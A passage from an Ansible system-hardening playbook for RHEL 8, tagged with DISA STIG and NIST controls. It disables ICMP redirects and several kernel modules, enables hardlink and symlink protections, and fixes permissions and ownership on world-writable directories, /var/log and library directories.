    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040270
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      by Default - Comment out any occurrences of net.ipv4.conf.default.send_redirects
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv4.conf.default.send_redirects
      replace: '#net.ipv4.conf.default.send_redirects'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040270
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_send_redirects

  - name: Disable Kernel Parameter for Sending ICMP Redirects on all IPv4 Interfaces
      by Default - Ensure sysctl net.ipv4.conf.default.send_redirects is set to 0
    ansible.posix.sysctl:
      name: net.ipv4.conf.default.send_redirects
      value: '0'
      sysctl_file: /etc/sysctl.d/net_ipv4_conf_default_send_redirects.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.1
    - DISA-STIG-RHEL-08-040270
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-SC-5
    - NIST-800-53-SC-7(a)
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv4_conf_default_send_redirects

  - name: Ensure kernel module 'atm' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/atm.conf
      regexp: install\s+atm
      line: install atm /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040021
    - NIST-800-53-AC-18
    - disable_strategy
    - kernel_module_atm_disabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required

  - name: Ensure kernel module 'can' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/can.conf
      regexp: install\s+can
      line: install can /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040022
    - NIST-800-53-AC-18
    - disable_strategy
    - kernel_module_can_disabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required

  - name: Ensure kernel module 'firewire-core' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/firewire-core.conf
      regexp: install\s+firewire-core
      line: install firewire-core /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040026
    - NIST-800-53-AC-18
    - disable_strategy
    - kernel_module_firewire-core_disabled
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required

  - name: Ensure kernel module 'sctp' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/sctp.conf
      regexp: install\s+sctp
      line: install sctp /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1
    - DISA-STIG-RHEL-08-040023
    - NIST-800-171-3.4.6
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-1.4.2
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.2
    - disable_strategy
    - kernel_module_sctp_disabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required

  - name: Ensure kernel module 'tipc' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/tipc.conf
      regexp: install\s+tipc
      line: install tipc /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040024
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - kernel_module_tipc_disabled
    - low_complexity
    - low_severity
    - medium_disruption
    - reboot_required

  - name: Ensure kernel module 'bluetooth' is disabled
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/modprobe.d/bluetooth.conf
      regexp: install\s+bluetooth
      line: install bluetooth /bin/false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.13.1.3
    - DISA-STIG-RHEL-08-040111
    - NIST-800-171-3.1.16
    - NIST-800-53-AC-18(3)
    - NIST-800-53-AC-18(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - disable_strategy
    - kernel_module_bluetooth_disabled
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required

  - name: Deactivate Wireless Network Interfaces - NetworkManager Deactivate Wireless
      Network Interfaces
    ansible.builtin.command: nmcli radio wifi off
    when:
    - ( not ( ansible_virtualization_type in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;,
      &quot;container&quot;] ) )
    - '''NetworkManager'' in ansible_facts.packages'
    - ('NetworkManager.service' in ansible_facts.services and ansible_facts.services['NetworkManager.service'].state
      == 'running')
    tags:
    - DISA-STIG-RHEL-08-040110
    - NIST-800-171-3.1.16
    - NIST-800-53-AC-18(3)
    - NIST-800-53-AC-18(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MP-7
    - PCI-DSS-Req-1.3.3
    - PCI-DSSv4-1.3
    - PCI-DSSv4-1.3.3
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - unknown_strategy
    - wireless_disable_interfaces

  - name: Ensure All World-Writable Directories Are Owned by root User - Define Excluded
      (Non-Local) File Systems and Paths
    ansible.builtin.set_fact:
      excluded_fstypes:
      - afs
      - autofs
      - ceph
      - cifs
      - smb3
      - smbfs
      - sshfs
      - ncpfs
      - ncp
      - nfs
      - nfs4
      - gfs
      - gfs2
      - glusterfs
      - gpfs
      - pvfs2
      - ocfs2
      - lustre
      - davfs
      - fuse.sshfs
      excluded_paths:
      - dev
      - proc
      - run
      - sys
      search_paths: []
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Find Relevant
      Root Directories Ignoring Pre-Defined Excluded Paths
    ansible.builtin.find:
      paths: /
      file_type: directory
      excludes: '{{ excluded_paths }}'
      hidden: true
      recurse: false
    register: result_relevant_root_dirs
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Include Relevant
      Root Directories in a List of Paths to be Searched
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.path]) }}'
    loop: '{{ result_relevant_root_dirs.files }}'
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Increment
      Search Paths List with Local Partitions Mount Points
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.mount]) }}'
    loop: '{{ ansible_mounts }}'
    when:
    - item.fstype not in excluded_fstypes
    - item.mount != '/'
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Increment
      Search Paths List with Local NFS File System Targets
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.device.split('':'')[1]]) }}'
    loop: '{{ ansible_mounts }}'
    when: item.device is search(&quot;localhost:&quot;)
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Define Rule
      Specific Facts
    ansible.builtin.set_fact:
      world_writable_dirs: []
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Find All
      Uncompliant Directories in Local File Systems
    ansible.builtin.command:
      cmd: find {{ item }} -xdev -type d -perm -0002 -uid +0
    loop: '{{ search_paths }}'
    changed_when: false
    register: result_found_dirs
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Create List
      of World Writable Directories Not Owned by root
    ansible.builtin.set_fact:
      world_writable_dirs: '{{ world_writable_dirs | union(item.stdout_lines) | list
        }}'
    loop: '{{ result_found_dirs.results }}'
    when: item is not skipped
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All World-Writable Directories Are Owned by root User - Ensure root
      Ownership on Local World Writable Directories
    ansible.builtin.file:
      path: '{{ item }}'
      owner: root
    loop: '{{ world_writable_dirs }}'
    tags:
    - DISA-STIG-RHEL-08-010700
    - dir_perms_world_writable_root_owned
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Define
      Excluded (Non-Local) File Systems and Paths
    ansible.builtin.set_fact:
      excluded_fstypes:
      - afs
      - autofs
      - ceph
      - cifs
      - smb3
      - smbfs
      - sshfs
      - ncpfs
      - ncp
      - nfs
      - nfs4
      - gfs
      - gfs2
      - glusterfs
      - gpfs
      - pvfs2
      - ocfs2
      - lustre
      - davfs
      - fuse.sshfs
      excluded_paths:
      - dev
      - proc
      - run
      - sys
      search_paths: []
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Find Relevant
      Root Directories Ignoring Pre-Defined Excluded Paths
    ansible.builtin.find:
      paths: /
      file_type: directory
      excludes: '{{ excluded_paths }}'
      hidden: true
      recurse: false
    register: result_relevant_root_dirs
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Include
      Relevant Root Directories in a List of Paths to be Searched
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.path]) }}'
    loop: '{{ result_relevant_root_dirs.files }}'
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Increment
      Search Paths List with Local Partitions Mount Points
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.mount]) }}'
    loop: '{{ ansible_mounts }}'
    when:
    - item.fstype not in excluded_fstypes
    - item.mount != '/'
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Increment
      Search Paths List with Local NFS File System Targets
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.device.split('':'')[1]]) }}'
    loop: '{{ ansible_mounts }}'
    when: item.device is search(&quot;localhost:&quot;)
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Define
      Rule Specific Facts
    ansible.builtin.set_fact:
      world_writable_dirs: []
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Find All
      Uncompliant Directories in Local File Systems
    ansible.builtin.command:
      cmd: find {{ item }} -xdev -type d ( -perm -0002 -a ! -perm -1000 )
    loop: '{{ search_paths }}'
    changed_when: false
    register: result_found_dirs
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Create
      List of World Writable Directories Without Sticky Bit
    ansible.builtin.set_fact:
      world_writable_dirs: '{{ world_writable_dirs | union(item.stdout_lines) | list
        }}'
    loop: '{{ result_found_dirs.results }}'
    when: result_found_dirs is not skipped and item is not skipped
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Verify that All World-Writable Directories Have Sticky Bits Set - Ensure
      Sticky Bit is Set on Local World Writable Directories
    ansible.builtin.file:
      path: '{{ item }}'
      mode: a+t
    loop: '{{ world_writable_dirs }}'
    tags:
    - DISA-STIG-RHEL-08-010190
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - dir_perms_world_writable_sticky_bits
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Enable Kernel Parameter to Enforce DAC on Hardlinks - Set fact for sysctl
      paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010374
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_hardlinks

  - name: Enable Kernel Parameter to Enforce DAC on Hardlinks - Find all files that
      contain fs.protected_hardlinks
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*fs.protected_hardlinks\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010374
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_hardlinks

  - name: Enable Kernel Parameter to Enforce DAC on Hardlinks - Find all files that
      set fs.protected_hardlinks to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*fs.protected_hardlinks\s*=\s*1$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010374
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_hardlinks

  - name: Enable Kernel Parameter to Enforce DAC on Hardlinks - Comment out any occurrences
      of fs.protected_hardlinks from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*fs.protected_hardlinks
      replace: '#fs.protected_hardlinks'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-010374
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_hardlinks

  - name: Enable Kernel Parameter to Enforce DAC on Hardlinks - Comment out any occurrences
      of fs.protected_hardlinks from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*fs.protected_hardlinks
      replace: '#fs.protected_hardlinks'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010374
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_hardlinks

  - name: Enable Kernel Parameter to Enforce DAC on Hardlinks - Ensure sysctl fs.protected_hardlinks
      is set to 1
    ansible.posix.sysctl:
      name: fs.protected_hardlinks
      value: '1'
      sysctl_file: /etc/sysctl.d/fs_protected_hardlinks.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010374
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_hardlinks

  - name: Enable Kernel Parameter to Enforce DAC on Symlinks - Set fact for sysctl
      paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010373
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_symlinks

  - name: Enable Kernel Parameter to Enforce DAC on Symlinks - Find all files that
      contain fs.protected_symlinks
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*fs.protected_symlinks\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010373
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_symlinks

  - name: Enable Kernel Parameter to Enforce DAC on Symlinks - Find all files that
      set fs.protected_symlinks to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*fs.protected_symlinks\s*=\s*1$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010373
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_symlinks

  - name: Enable Kernel Parameter to Enforce DAC on Symlinks - Comment out any occurrences
      of fs.protected_symlinks from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*fs.protected_symlinks
      replace: '#fs.protected_symlinks'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-010373
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_symlinks

  - name: Enable Kernel Parameter to Enforce DAC on Symlinks - Comment out any occurrences
      of fs.protected_symlinks from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*fs.protected_symlinks
      replace: '#fs.protected_symlinks'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010373
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_symlinks

  - name: Enable Kernel Parameter to Enforce DAC on Symlinks - Ensure sysctl fs.protected_symlinks
      is set to 1
    ansible.posix.sysctl:
      name: fs.protected_symlinks
      value: '1'
      sysctl_file: /etc/sysctl.d/fs_protected_symlinks.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010373
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_fs_protected_symlinks

  - name: Set the file_groupowner_var_log_newgroup variable if represented by gid
    ansible.builtin.set_fact:
      file_groupowner_var_log_newgroup: '0'
    tags:
    - DISA-STIG-RHEL-08-010260
    - configure_strategy
    - file_groupowner_var_log
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /var/log/
    ansible.builtin.file:
      path: /var/log/
      follow: false
      state: directory
      group: '{{ file_groupowner_var_log_newgroup }}'
    tags:
    - DISA-STIG-RHEL-08-010260
    - configure_strategy
    - file_groupowner_var_log
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set the file_groupowner_var_log_messages_newgroup variable if represented
      by gid
    ansible.builtin.set_fact:
      file_groupowner_var_log_messages_newgroup: '0'
    tags:
    - DISA-STIG-RHEL-08-010230
    - configure_strategy
    - file_groupowner_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /var/log/messages
    ansible.builtin.stat:
      path: /var/log/messages
    register: file_exists
    tags:
    - DISA-STIG-RHEL-08-010230
    - configure_strategy
    - file_groupowner_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /var/log/messages
    ansible.builtin.file:
      path: /var/log/messages
      follow: false
      group: '{{ file_groupowner_var_log_messages_newgroup }}'
    when: file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010230
    - configure_strategy
    - file_groupowner_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set the file_owner_var_log_newown variable if represented by uid
    ansible.builtin.set_fact:
      file_owner_var_log_newown: '0'
    tags:
    - DISA-STIG-RHEL-08-010250
    - configure_strategy
    - file_owner_var_log
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on directory /var/log/
    ansible.builtin.file:
      path: /var/log/
      follow: false
      state: directory
      owner: '{{ file_owner_var_log_newown }}'
    tags:
    - DISA-STIG-RHEL-08-010250
    - configure_strategy
    - file_owner_var_log
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set the file_owner_var_log_messages_newown variable if represented by uid
    ansible.builtin.set_fact:
      file_owner_var_log_messages_newown: '0'
    tags:
    - DISA-STIG-RHEL-08-010220
    - configure_strategy
    - file_owner_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /var/log/messages
    ansible.builtin.stat:
      path: /var/log/messages
    register: file_exists
    tags:
    - DISA-STIG-RHEL-08-010220
    - configure_strategy
    - file_owner_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure owner on /var/log/messages
    ansible.builtin.file:
      path: /var/log/messages
      follow: false
      owner: '{{ file_owner_var_log_messages_newown }}'
    when: file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010220
    - configure_strategy
    - file_owner_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /var/log/ file(s)
    ansible.builtin.command: 'find -P /var/log/ -maxdepth 0 -perm /u+s,g+ws,o+wt  -type
      d '
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    tags:
    - DISA-STIG-RHEL-08-010240
    - configure_strategy
    - file_permissions_var_log
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /var/log/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: u-s,g-ws,o-wt
      state: directory
    with_items:
    - '{{ files_found.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010240
    - configure_strategy
    - file_permissions_var_log
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Test for existence /var/log/messages
    ansible.builtin.stat:
      path: /var/log/messages
    register: file_exists
    tags:
    - DISA-STIG-RHEL-08-010210
    - configure_strategy
    - file_permissions_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure permission u-xs,g-xwrs,o-xwrt on /var/log/messages
    ansible.builtin.file:
      path: /var/log/messages
      mode: u-xs,g-xwrs,o-xwrt
    when: file_exists.stat is defined and file_exists.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010210
    - configure_strategy
    - file_permissions_var_log_messages
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set the dir_group_ownership_library_dirs_newgroup variable if represented
      by gid
    ansible.builtin.set_fact:
      dir_group_ownership_library_dirs_newgroup: '0'
    tags:
    - DISA-STIG-RHEL-08-010351
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_group_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /lib/ recursively
    ansible.builtin.file:
      path: /lib/
      follow: false
      state: directory
      recurse: true
      group: '{{ dir_group_ownership_library_dirs_newgroup }}'
    tags:
    - DISA-STIG-RHEL-08-010351
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_group_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /lib64/ recursively
    ansible.builtin.file:
      path: /lib64/
      follow: false
      state: directory
      recurse: true
      group: '{{ dir_group_ownership_library_dirs_newgroup }}'
    tags:
    - DISA-STIG-RHEL-08-010351
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_group_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /usr/lib/ recursively
    ansible.builtin.file:
      path: /usr/lib/
      follow: false
      state: directory
      recurse: true
      group: '{{ dir_group_ownership_library_dirs_newgroup }}'
    tags:
    - DISA-STIG-RHEL-08-010351
    - NIST-800-53-CM-5(6)
    - NIST-800-53-CM-5(6).1
    - configure_strategy
    - dir_group_ownership_library_dirs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Ensure group owner on /usr/lib64/ recursively
    ansible.builtin.file:
      path: /usr/lib64/
      follow: false
      state: directory
      recurse: true
      group: '{{ dir_group_ownership_library_dirs_newgroup }}'
    tags:
